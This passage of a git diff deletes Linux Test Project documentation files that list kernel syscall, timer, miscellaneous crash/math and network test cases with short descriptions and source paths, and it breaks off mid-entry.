-	<\test_location>
-<\testname>
-<testname=sysconf01>
-	<description>
-		Basic test for the sysconf() system call.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/sysconf/sysconf01.c
-	<\test_location>
-<\testname>
-<testname=sysctl01>
-	<description>
-		Testcase for testing the basic functionality of sysctl(2) system call.
-		This testcase attempts to read the kernel parameters using
-		sysctl({CTL_KERN, KERN_ }, ...) and compares it with the known
-		values.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/sysctl/sysctl01.c
-	<\test_location>
-<\testname>
-<testname=sysctl03>
-	<description>
-		Testcase to check that sysctl(2) sets errno to EPERM correctly.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/sysctl/sysctl03.c
-	<\test_location>
-<\testname>
-<testname=sysctl04>
-	<description>
-		Testcase to check that sysctl(2) sets errno to ENOTDIR
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/sysctl/sysctl04.c
-	<\test_location>
-<\testname>
-<testname=sysctl05>
-	<description>
-		Testcase to check that sysctl(2) sets errno to EFAULT
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/sysctl/sysctl05.c
-	<\test_location>
-<\testname>
-<testname=sysfs01>
-	<description>
-		Basic test for sysfs(2)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/sysfs/sysfs01.c
-	<\test_location>
-<\testname>
-<testname=sysfs02>
-	<description>
-		Basic test for sysfs(2)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/sysfs/sysfs02.c
-	<\test_location>
-<\testname>
-<testname=sysfs03>
-	<description>
-		Basic test for sysfs(2)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/sysfs/sysfs03.c
-	<\test_location>
-<\testname>
-<testname=sysfs04>
-	<description>
-		Test checking for basic error conditions
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/sysfs/sysfs04.c
-	<\test_location>
-<\testname>
-<testname=sysfs05>
-	<description>
-		Test checking for basic error conditions
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/sysfs/sysfs05.c
-	<\test_location>
-<\testname>
-<testname=sysfs06>
-	<description>
-		Test checking for basic error conditions
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/sysfs/sysfs06.c
-	<\test_location>
-<\testname>
-<testname=sysinfo01>
-	<description>
-		Verify that sysinfo() succeeds to get the system information and fills
-		the structure passed.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/sysinfo/sysinfo01.c
-	<\test_location>
-<\testname>
-<testname=sysinfo02>
-	<description>
-		Verify that sysinfo() returns the correct error for an invalid address structure.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/sysinfo/sysinfo02.c
-	<\test_location>
-<\testname>
-<testname=syslog01>
-	<description>
-		Test whether messages are logged to the specified file
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/syslog/syslog01
-	<\test_location>
-<\testname>
-<testname=syslog02>
-	<description>
-		Test if messages of all levels are logged.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/syslog/syslog02
-	<\test_location>
-<\testname>
-<testname=syslog03>
-	<description>
-		Do openlog(), log the messages and see whether
-		ident string is prepended to the message.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/syslog/syslog03
-	<\test_location>
-<\testname>
-<testname=syslog04>
-	<description>
-		Test the logging option: LOG_PID
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/syslog/syslog04
-	<\test_location>
-<\testname>
-<testname=syslog05>
-	<description>
-		Test the logging option: LOG_CONS
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/syslog/syslog05
-	<\test_location>
-<\testname>
-<testname=syslog06>
-	<description>
-		Test the logging option: LOG_NDELAY
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/syslog/syslog06
-	<\test_location>
-<\testname>
-<testname=syslog07>
-	<description>
-		Test the priorities.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/syslog/syslog07
-	<\test_location>
-<\testname>
-<testname=syslog08>
-	<description>
-		Test all the facilities at a particular level.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/syslog/syslog08
-	<\test_location>
-<\testname>
-<testname=syslog09>
-	<description>
-		Test setlogmask() with LOG_UPTO macro.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/syslog/syslog09
-	<\test_location>
-<\testname>
-<testname=syslog10>
-	<description>
-		Test setlogmask() with LOG_MASK macro.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/syslog/syslog10
-	<\test_location>
-<\testname>
-<testname=syslog11>
-	<description>
-		Basic test for syslog() function call.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/syslog/syslog11.c
-	<\test_location>
-<\testname>
-<testname=syslog12>
-	<description>
-		Check error conditions for syscall().
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/syslog/syslog12.c
-	<\test_location>
-<\testname>
-<testname=time01>
-	<description>
-		Basic test for the time(2) system call.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/time/time01.c
-	<\test_location>
-<\testname>
-<testname=time02>
-	<description>
-		Verify that time(2) returns the value of time in seconds since
-		the Epoch and stores this value in the memory pointed to by the parameter.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/time/time02.c
-	<\test_location>
-<\testname>
-<testname=times01>
-	<description>
-		Basic test for the times(2) system call.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/times/times01.c
-	<\test_location>
-<\testname>
-<testname=times03>
-	<description>
-		Testcase to check the basic functionality of the times() system call.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/times/times03.c
-	<\test_location>
-<\testname>
-<testname=truncate01>
-	<description>
-		Verify that, truncate(2) succeeds to truncate a file to a specified
-		length.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/truncate/truncate01.c
-	<\test_location>
-<\testname>
-<testname=truncate02>
-	<description>
-		Verify that, truncate(2) succeeds to truncate a file to a certain length,
-		but the attempt to read past the truncated length will fail.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/truncate/truncate02.c
-	<\test_location>
-<\testname>
-<testname=truncate03>
-	<description>
-		Verify that,
-		1) truncate(2) returns -1 and sets errno to EACCES if search/write
-		permission denied for the process on the component of the path prefix
-		or named file.
-		2) truncate(2) returns -1 and sets errno to ENOTDIR if the component of
-		the path prefix is not a directory.
-		3) truncate(2) returns -1 and sets errno to EFAULT if pathname points
-		outside user's accessible address space.
-		4) truncate(2) returns -1 and sets errno to ENAMETOOLONG if the component
-		of a pathname exceeded 255 characters or entire pathname exceeds 1023
-		characters.
-		5) truncate(2) returns -1 and sets errno to ENOENT if the named file
-		does not exist.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/truncate/truncate03.c
-	<\test_location>
-<\testname>
-<testname=ulimit01>
-	<description>
-		Basic test for the ulimit(2) system call.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/ulimit/ulimit01.c
-	<\test_location>
-<\testname>
-<testname=umask01>
-	<description>
-		Basic test for the umask(2) system call.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/umask/umask01.c
-	<\test_location>
-<\testname>
-<testname=umask02>
-	<description>
-		Check that umask changes the mask, and that the previous
-		value of the mask is returned correctly for each value.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/umask/umask02.c
-	<\test_location>
-<\testname>
-<testname=umask03>
-	<description>
-		Check that umask changes the mask, and that the previous
-		value of the mask is returned correctly for each value.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/umask/umask03.c
-	<\test_location>
-<\testname>
-<testname=umount01>
-	<description>
-		Basic test for umount(2)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/umount/umount01.c
-	<\test_location>
-<\testname>
-<testname=umount02>
-	<description>
-		Test for checking basic error conditions for umount(2)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/umount/umount02.c
-	<\test_location>
-<\testname>
-<testname=umount03>
-	<description>
-		Test for checking EPERM
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/umount/umount03.c
-	<\test_location>
-<\testname>
-<testname=umount04>
-	<description>
-		Test for checking EACCES
-
-	<\description>
-	<test_location>
-	<\test_location>
-<\testname>
-<testname=uname01>
-	<description>
-		Basic test for the uname(2) system call.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/uname/uname01.c
-	<\test_location>
-<\testname>
-<testname=uname02>
-	<description>
-		Call uname() with an invalid address to produce a failure
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/uname/uname02.c
-	<\test_location>
-<\testname>
-<testname=uname03>
-	<description>
-		Call uname() and make sure it succeeds
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/uname/uname03.c
-	<\test_location>
-<\testname>
-<testname=unlink05>
-	<description>
-		Basic test for the unlink(2) system call.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/unlink/unlink05.c
-	<\test_location>
-<\testname>
-<testname=unlink06>
-	<description>
-		Test for the unlink(2) system call of a FIFO.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/unlink/unlink06.c
-	<\test_location>
-<\testname>
-<testname=unlink07>
-	<description>
-		Tests for error handling for the unlink(2) system call.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/unlink/unlink07.c
-	<\test_location>
-<\testname>
-<testname=unlink08>
-	<description>
-		More tests for error handling for the unlink(2) system call.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/unlink/unlink08.c
-	<\test_location>
-<\testname>
-<testname=ustat01>
-	<description>
-		Basic test for the ustat() system call.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/ustat/ustat01.c
-	<\test_location>
-<\testname>
-<testname=ustat02>
-	<description>
-		Test for error conditions of ustat().
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/ustat/ustat02.c
-	<\test_location>
-<\testname>
-<testname=utime01>
-	<description>
-		Verify that the system call utime() successfully sets the modification
-		and access times of a file to the current time, if the times argument
-		is null, and the user ID of the process is "root".
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/utime/utime01.c
-	<\test_location>
-<\testname>
-<testname=utime02>
-	<description>
-		Verify that the system call utime() successfully sets the modification
-		and access times of a file to the current time, under the following
-		constraints,
-		- The times argument is null.
-		- The user ID of the process is not "root".
-		- The file is owned by the user ID of the process.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/utime/utime02.c
-	<\test_location>
-<\testname>
-<testname=utime03>
-	<description>
-		Verify that the system call utime() successfully sets the modification
-		and access times of a file to the current time, under the following
-		constraints,
-		- The times argument is null.
-		- The user ID of the process is not "root".
-		- The file is not owned by the user ID of the process.
-		- The user ID of the process has write access to the file.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/utime/utime03.c
-	<\test_location>
-<\testname>
-<testname=utime04>
-	<description>
-		Verify that the system call utime() successfully sets the modification
-		and access times of a file to the time specified by times argument, if
-		the times argument is not null, and the user ID of the process is "root".
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/utime/utime04.c
-	<\test_location>
-<\testname>
-<testname=utime05>
-	<description>
-		Verify that the system call utime() successfully sets the modification
-		and access times of a file to the value specified by the times argument
-		under the following constraints,
-		- The times argument is not null,
-		- The user ID of the process is not "root".
-		- The file is owned by the user ID of the process.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/utime/utime05.c
-	<\test_location>
-<\testname>
-<testname=utime06>
-	<description>
-		1. Verify that the system call utime() fails to set the modification
-		and access times of a file to the current time, under the following
-		constraints,
-
-		The times argument is null.
-
-		The user ID of the process is not "root".
-
-		The file is not owned by the user ID of the process.
-
-		The user ID of the process does not have write access to the
-		file.
-		2. Verify that the system call utime() fails to set the modification
-		and access times of a file if the specified file doesn't exist.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/utime/utime06.c
-	<\test_location>
-<\testname>
-<testname=vfork01>
-	<description>
-		Fork a process using vfork() and verify that, the attribute values like
-		euid, ruid, suid, egid, rgid, sgid, umask, inode and device number of
-		root and current working directories are same as that of the parent
-		process.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/vfork/vfork01.c
-	<\test_location>
-<\testname>
-<testname=vfork02>
-	<description>
-		Fork a process using vfork() and verify that, the pending signals in
-		the parent are not pending in the child process.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/vfork/vfork02.c
-	<\test_location>
-<\testname>
-<testname=vhangup01>
-	<description>
-		Check the return value, and errno of vhangup(2)
-		when a non-root user calls vhangup().
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/vhangup/vhangup01.c
-	<\test_location>
-<\testname>
-<testname=vhangup02>
-	<description>
-		To test the basic functionality of vhangup(2)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/vhangup/vhangup02.c
-	<\test_location>
-<\testname>
-<testname=wait02>
-	<description>
-		Basic test for wait(2) system call.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/wait/wait02.c
-	<\test_location>
-<\testname>
-<testname=wait401>
-	<description>
-		check that a call to wait4() correctly waits for a child
-		process to exit
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/wait4/wait401.c
-	<\test_location>
-<\testname>
-<testname=wait402>
-	<description>
-		check for ECHILD errno when using an illegal pid value
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/wait4/wait402.c
-	<\test_location>
-<\testname>
-<testname=waitpid01>
-	<description>
-		Check that when a child kills itself by generating an alarm
-		exception, the waiting parent is correctly notified.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/waitpid/waitpid01.c
-	<\test_location>
-<\testname>
-<testname=waitpid02>
-	<description>
-		Check that when a child kills itself by generating an integer zero
-		divide exception, the waiting parent is correctly notified.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/waitpid/waitpid02.c
-	<\test_location>
-<\testname>
-<testname=waitpid03>
-	<description>
-		Check that parent waits unitl specific child has returned.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/waitpid/waitpid03.c
-	<\test_location>
-<\testname>
-<testname=waitpid04>
-	<description>
-		test to check the error conditions in waitpid sys call
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/waitpid/waitpid04.c
-	<\test_location>
-<\testname>
-<testname=waitpid05>
-	<description>
-		Check that when a child kills itself with a kill statement after
-		determining its process id by using getpid, the parent receives a
-		correct report of the cause of its death. This also indirectly
-		checks that getpid returns the correct process id.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/waitpid/waitpid05.c
-	<\test_location>
-<\testname>
-<testname=waitpid06>
-	<description>
-		Tests to see if pid's returned from fork and waitpid are same.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/waitpid/waitpid06.c
-	<\test_location>
-<\testname>
-<testname=waitpid07>
-	<description>
-		Tests to see if pid's returned from fork and waitpid are same.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/waitpid/waitpid07.c
-	<\test_location>
-<\testname>
-<testname=waitpid08>
-	<description>
-		Tests to see if pid's returned from fork and waitpid are same
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/waitpid/waitpid08.c
-	<\test_location>
-<\testname>
-<testname=waitpid09>
-	<description>
-		Check ability of parent to wait until child returns, and that the
-		child's process id is returned through the waitpid. Check that
-		waitpid returns immediately if no child is present.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/waitpid/waitpid09.c
-	<\test_location>
-<\testname>
-<testname=waitpid10>
-	<description>
-		Tests to see if pid's returned from fork and waitpid are same
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/waitpid/waitpid10.c
-	<\test_location>
-<\testname>
-<testname=waitpid11>
-	<description>
-		Tests to see if pid's returned from fork and waitpid are same
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/waitpid/waitpid11.c
-	<\test_location>
-<\testname>
-<testname=waitpid12>
-	<description>
-		Tests to see if pid's returned from fork and waitpid are same
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/waitpid/waitpid12.c
-	<\test_location>
-<\testname>
-<testname=waitpid13>
-	<description>
-		Tests to see if pid's returned from fork and waitpid are same
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/waitpid/waitpid13.c
-	<\test_location>
-<\testname>
-<testname=write01>
-	<description>
-		Basic test for write(2) system call.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/write/write01.c
-	<\test_location>
-<\testname>
-<testname=write02>
-	<description>
-		Basic functionality test: does the return from write match the count
-		of the number of bytes written.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/write/write02.c
-	<\test_location>
-<\testname>
-<testname=write03>
-	<description>
-		Testcase to check that write(2) doesn't corrupt a file when it fails
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/write/write03.c
-	<\test_location>
-<\testname>
-<testname=write04>
-	<description>
-		Testcase to check that write() sets errno to EAGAIN
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/write/write04.c
-	<\test_location>
-<\testname>
-<testname=write05>
-	<description>
-		Check the return value, and errnos of write(2)
-		- when the file descriptor is invalid
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/write/write05.c
-	<\test_location>
-<\testname>
-<testname=EBADF>
-	<description>
-		- when the buf parameter is invalid
-
-	<\description>
-	<test_location>
-	<\test_location>
-<\testname>
-<testname=EFAULT>
-	<description>
-		- on an attempt to write to a pipe that is not open for reading
-
-	<\description>
-	<test_location>
-	<\test_location>
-<\testname>
-<testname=writev01>
-	<description>
-		Testcase to check the basic functionality of writev(2) system call.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/writev/writev01.c
-	<\test_location>
-<\testname>
-<testname=writev02>
-	<description>
-		In these testcases, writev() is called with partially valid data
-		to be written in a sparse file.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/writev/writev02.c
-	<\test_location>
-<\testname>
-<testname=writev03>
-	<description>
-		The testcases are written calling writev() with partially valid data
-		to overwrite the contents, to write in the beginning and to write in
-		the end of the file.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/writev/writev03.c
-	<\test_location>
-<\testname>
-<testname=writev04>
-	<description>
-		The testcases are written calling writev() with partially valid data
-		to overwrite the contents, to write in the beginning and to write in
-		the end of the file. This is same as writev03, but the length of
-		buffer used here is 8192 bytes.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/writev/writev04.c
-	<\test_location>
-<\testname>
-<testname=writev05>
-	<description>
-		These testcases are written to test writev() on sparse files. This
-		is same as writev02. But the initial write() with valid data is
-		done at the beginning of the file.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/writev/writev05.c
-	<\test_location>
-<\testname>
-<testname=clock_gettime02>
-	<description>
-		Basic test for clock_gettime(2)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/timers/clock_gettime/clock_gettime02.c
-	<\test_location>
-<\testname>
-<testname=clock_gettime03>
-	<description>
-		Test checking for basic error conditions for clock_gettime(2)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/timers/clock_gettime/clock_gettime03.c
-	<\test_location>
-<\testname>
-<testname=clock_settime02>
-	<description>
-		Basic test for clock_settime(2)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/timers/clock_settime/clock_settime02.c
-	<\test_location>
-<\testname>
-<testname=clock_settime03>
-	<description>
-		Test checking for basic error conditions for clock_settime(2)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/timers/clock_settime/clock_settime03.c
-	<\test_location>
-<\testname>
-<testname=timer_create01>
-	<description>
-		Basic test for timer_create(2)
-
-	<\description>
-	<test_location>
-	<\test_location>
-<\testname>
-<testname=timer_create02>
-	<description>
-		Basic test for timer_create(2)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/timers/timer_create/timer_create02.c
-	<\test_location>
-<\testname>
-<testname=timer_create03>
-	<description>
-		Test checking for basic error conditions for timer_create(2)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/timers/timer_create/timer_create03.c
-	<\test_location>
-<\testname>
-<testname=timer_delete01>
-	<description>
-		Basic test for timer_delete(2)
-
-	<\description>
-	<test_location>
-	<\test_location>
-<\testname>
-<testname=timer_delete02>
-	<description>
-		Test checking for basic error conditions for timer_delete(2)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/timers/timer_delete/timer_delete02.c
-	<\test_location>
-<\testname>
-<testname=timer_settime01>
-	<description>
-		Basic test for timer_settime(2)
-
-	<\description>
-	<test_location>
-	<\test_location>
-<\testname>
-<testname=timers>
-	<description>
-		Test checking for basic error conditions for timer_settime(2)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/timers
-	<\test_location>
-<\testname>
diff --git a/doc/testcases/misc.txt b/doc/testcases/misc.txt
deleted file mode 100644
index fff2598..0000000
--- a/doc/testcases/misc.txt
+++ /dev/null
@@ -1,123 +0,0 @@
-<testname=crash01>
-	<description>
-		A signal handler is set up so that in most cases the machine exception
-		generated by the illegal instructions, bad operands, etc in the procedure
-		made up of random data are caught; and another round of randomness may
-		be tried. Eventually a random instruction may corrupt the program or
-		the machine state in such a way that the program must halt. This is
-		a test of the robustness of the hardware/software for instruction
-		fault handling.
-
-		Note: Running this program just a few times, using total CPU time of
-		less than a few seconds SHOULD NOT GIVE YOU ANY CONFIDENCE in system
-		robustness. Having it run for hours, with tens of thousands of cases
-		would be a different thing. It would also make sense to run this
-		stress test at the same time you run other tests, like a multi-user
-		benchmark.
-
-	<\description>
-	<test_location>
-		ltp/testcases/misc/crash/crash01.c
-	<\test_location>
-<\testname>
-<testname=crash02>
-	<description>
-		A signal handler is set up so that in most cases the machine exception
-		generated by the illegal syscall, bad operands, etc in the procedure
-		made up of random data are caught; and another round of randomness may
-		be tried. Eventually a random syscall may corrupt the program or
-		the machine state in such a way that the program must halt. This is
-		a test of the robustness of the hardware/software for instruction
-		fault handling.
-
-		Note: Running this program just a few times, using total CPU time of
-		less than a few seconds SHOULD NOT GIVE YOU ANY CONFIDENCE in system
-		robustness. Having it run for hours, with tens of thousands of cases
-		would be a different thing. It would also make sense to run this
-		stress test at the same time you run other tests, like a multi-user
-		benchmark.
-
-		CAUTION: running this program may crash your system, your disk and all
-		your data along! DO NOT RUN IT ON PRODUCTION SYSTEMS!
-		CONSIDER YOUR DISK FRIED.
-		REMEMBER THE DISCLAIMER PART OF THE LICENSE.
-
-		Running as user nobody and with all your filesystems
-		remounted to readonly may be wise..
-
-	<\description>
-	<test_location>
-		ltp/testcases/misc/crash/crash02.c
-	<\test_location>
-<\testname>
-<testname=f00f>
-	<description>
-		This is a simple test for handling of the pentium f00f bug.
-		It is an example of a catistrophic test case. If the system
-		doesn't correctly handle this test, it will likely lockup.
-
-	<\description>
-	<test_location>
-		ltp/testcases/misc/f00f/f00f.c
-	<\test_location>
-<\testname>
-<testname=abs>
-	<description>
-		Test the basic functionality of the abs() system call.
-
-	<\description>
-	<test_location>
-		ltp/testcases/misc/math/abs
-	<\test_location>
-<\testname>
-<testname=atof>
-	<description>
-		Test the basic functionality of the atof() system call.
-
-	<\description>
-	<test_location>
-		ltp/testcases/misc/math/atof
-	<\test_location>
-<\testname>
-<testname=float>
-	<description>
-		Increase CPUs workload - verify that results of some math functions are stable
-
-		Floating testcases are related to :
-		----------------------------------
-		- trigonometric (acos, asin, atan, atan2, cos, sin, tan),
-		- Euclidean distance function (hypot),
-		- Computes the natural logarithm of the gamma function (lgamma),
-		- Functions that manipulate floating-point numbers (modf, ldexp, frexp),
-		- exponential and logarithmic functions (exp, log, log10),
-		- hyperbolic (cosh, sinh, tanh),
-		- Bessel (j0, j1, y0, y1),
-		- and power functions (ceil, fabs, floor, fmod, pow, sqrt).
-
-		The testcase is splitted into 5 sets:
-		-------------------------------------
-		float_bessel, float_exp_log, float_iperb, float_power, float_trigo
-
-	<\description>
-	<test_location>
-		ltp/testcases/misc/math/float
-	<\test_location>
-<\testname>
-<testname=fptests>
-	<description>
-		Additional floating point tests.
-
-	<\description>
-	<test_location>
-		ltp/testcases/misc/math/fptests
-	<\test_location>
-<\testname>
-<testname=nextafter>
-	<description>
-		Test basic functionality of nextafter() system call.
-
-	<\description>
-	<test_location>
-		ltp/testcases/misc/math/nextafter
-	<\test_location>
-<\testname>
diff --git a/doc/testcases/network.txt b/doc/testcases/network.txt
deleted file mode 100644
index 662f520..0000000
--- a/doc/testcases/network.txt
+++ /dev/null
@@ -1,570 +0,0 @@
-<testname=dhcpd_tests.sh>
-	<description>
-		Test basic functionality of dhcpd server.
-
-	<\description>
-	<test_location>
-		ltp/testcases/network/dhcpd/dhcpd_tests.sh
-	<\test_location>
-<\testname>
-<testname=ipchains_tests.sh>
-	<description>
-		Test basic functionality of ipchains.
-
-	<\description>
-	<test_location>
-	<\test_location>
-<\testname>
-<testname=ip_tests.sh>
-	<description>
-		Test basic functionality of ip command in route2 package
-
-	<\description>
-	<test_location>
-		ltp/testcases/network/iproute/ip_tests.sh
-	<\test_location>
-<\testname>
-<testname=echo601>
-	<description>
-		Stresses the inetd/xinetd daemon using the `echo` service.
-
-	<\description>
-	<test_location>
-		ltp/testcases/network/ipv6/echo6/echo601
-	<\test_location>
-<\testname>
-<testname=finger601>
-	<description>
-		test the basic functionality of the `finger` command.
-
-	<\description>
-	<test_location>
-		ltp/testcases/network/ipv6/finger6/finger601
-	<\test_location>
-<\testname>
-<testname=ftp601>
-	<description>
-		test the basic functionality of the `ftp` command.
-
-	<\description>
-	<test_location>
-	<\test_location>
-<\testname>
-<testname=perf_lan6>
-	<description>
-		Generates LAN traffic using ICMP echo packets.
-
-	<\description>
-	<test_location>
-		ltp/testcases/network/ipv6/perf_lan6
-	<\test_location>
-<\testname>
-<testname=ping601>
-	<description>
-		test the basic functionality of the `ping` command.
-
-	<\description>
-	<test_location>
-		ltp/testcases/network/ipv6/ping6/ping601
-	<\test_location>
-<\testname>
-<testname=rcp601>
-	<description>
-		test the basic functionality of the `rcp` command.
-
-	<\description>
-	<test_location>
-	<\test_location>
-<\testname>
-<testname=rlogin601>
-	<description>
-		Tests the basic functionality of `rlogin`.
-
-	<\description>
-	<test_location>
-	<\test_location>
-<\testname>
-<testname=rsh601>
-	<description>
-		test the basic functionality of the `rsh` command.
-
-	<\description>
-	<test_location>
-	<\test_location>
-<\testname>
-<testname=rwho601>
-	<description>
-		test the basic functionality of the rwhod daemon using the
-
-	<\description>
-	<test_location>
-	<\test_location>
-<\testname>
-<testname=sendfile601>
-	<description>
-		Copy files from server to client using the sendfile()
-		function.
-
-	<\description>
-	<test_location>
-		ltp/testcases/network/ipv6/sendfile6/sendfile601
-	<\test_location>
-<\testname>
-<testname=tcpdump6>
-	<description>
-		test the basic functionality of `tcpdump`.
-
-	<\description>
-	<test_location>
-		ltp/testcases/network/ipv6/tcpdump6
-	<\test_location>
-<\testname>
-<testname=telnet601>
-	<description>
-		Tests the basic functionality of `telnet`.
-
-	<\description>
-	<test_location>
-	<\test_location>
-<\testname>
-<testname=mc_cmds>
-	<description>
-		To determine the stability of the IP Multicast product
-		and to verify the accuracy and usablility of IP Multicast
-		related publications associated with changes and/or
-		additions to command level interfaces for this implementations
-		of IP Multicast.
-
-	<\description>
-	<test_location>
-		ltp/testcases/network/multicast/mc_cmds
-	<\test_location>
-<\testname>
-<testname=mc_commo>
-	<description>
-		To verify that IP Multicast can be used to send UDP datagrams
-		between two or more nodes on the same subnetwork using
-		a specific IP Multicast group and a specific port address.
-
-	<\description>
-	<test_location>
-		ltp/testcases/network/multicast/mc_commo
-	<\test_location>
-<\testname>
-<testname=mc_member>
-	<description>
-		To verify that two of the new options for level IPPROTO_IP
-		Service Interface allow the list of host group memberships
-		to be updated properly in response to the JoinHostGroup and
-		LeaveHostGroup requests. To test boundary conditions while
-		exercising IP Multicast JoinHostGroup and LeaveHostGroup
-		Service Interfaces.
-
-	<\description>
-	<test_location>
-		ltp/testcases/network/multicast/mc_member
-	<\test_location>
-<\testname>
-<testname=mc_opts>
-	<description>
-		To verify that three of the new options for level IPPROTO_IP
-		Service Interface are initially set to the default values as
-		defined in the documentation and that each of the new options
-		can be set and read properly by the setsockopt and getsockopt
-		routines, respectively. To test boundary conditions and to
-		generate errors while exercising the IP Multicast Service
-		Interface options.
-
-	<\description>
-	<test_location>
-		ltp/testcases/network/multicast/mc_opts
-	<\test_location>
-<\testname>
-<testname=fsx-linux>
-	<description>
-		Created by NeXT Software (Apple Computer, Inc.). This test will
-		thrash your NFS filesystem and has uncovered numerous bugs within
-		the Linux implementation.
-
-	<\description>
-	<test_location>
-		ltp/testcases/network/nfs/fsx-linux
-	<\test_location>
-<\testname>
-<testname=nfs01>
-	<description>
-		Stresses NFS by opening a large number of files on a nfs
-		mounted filesystem.
-
-	<\description>
-	<test_location>
-		ltp/testcases/network/nfs/nfs01
-	<\test_location>
-<\testname>
-<testname=nfs02>
-	<description>
-		Tests NFS copy of various filesizes, file consistency between copies
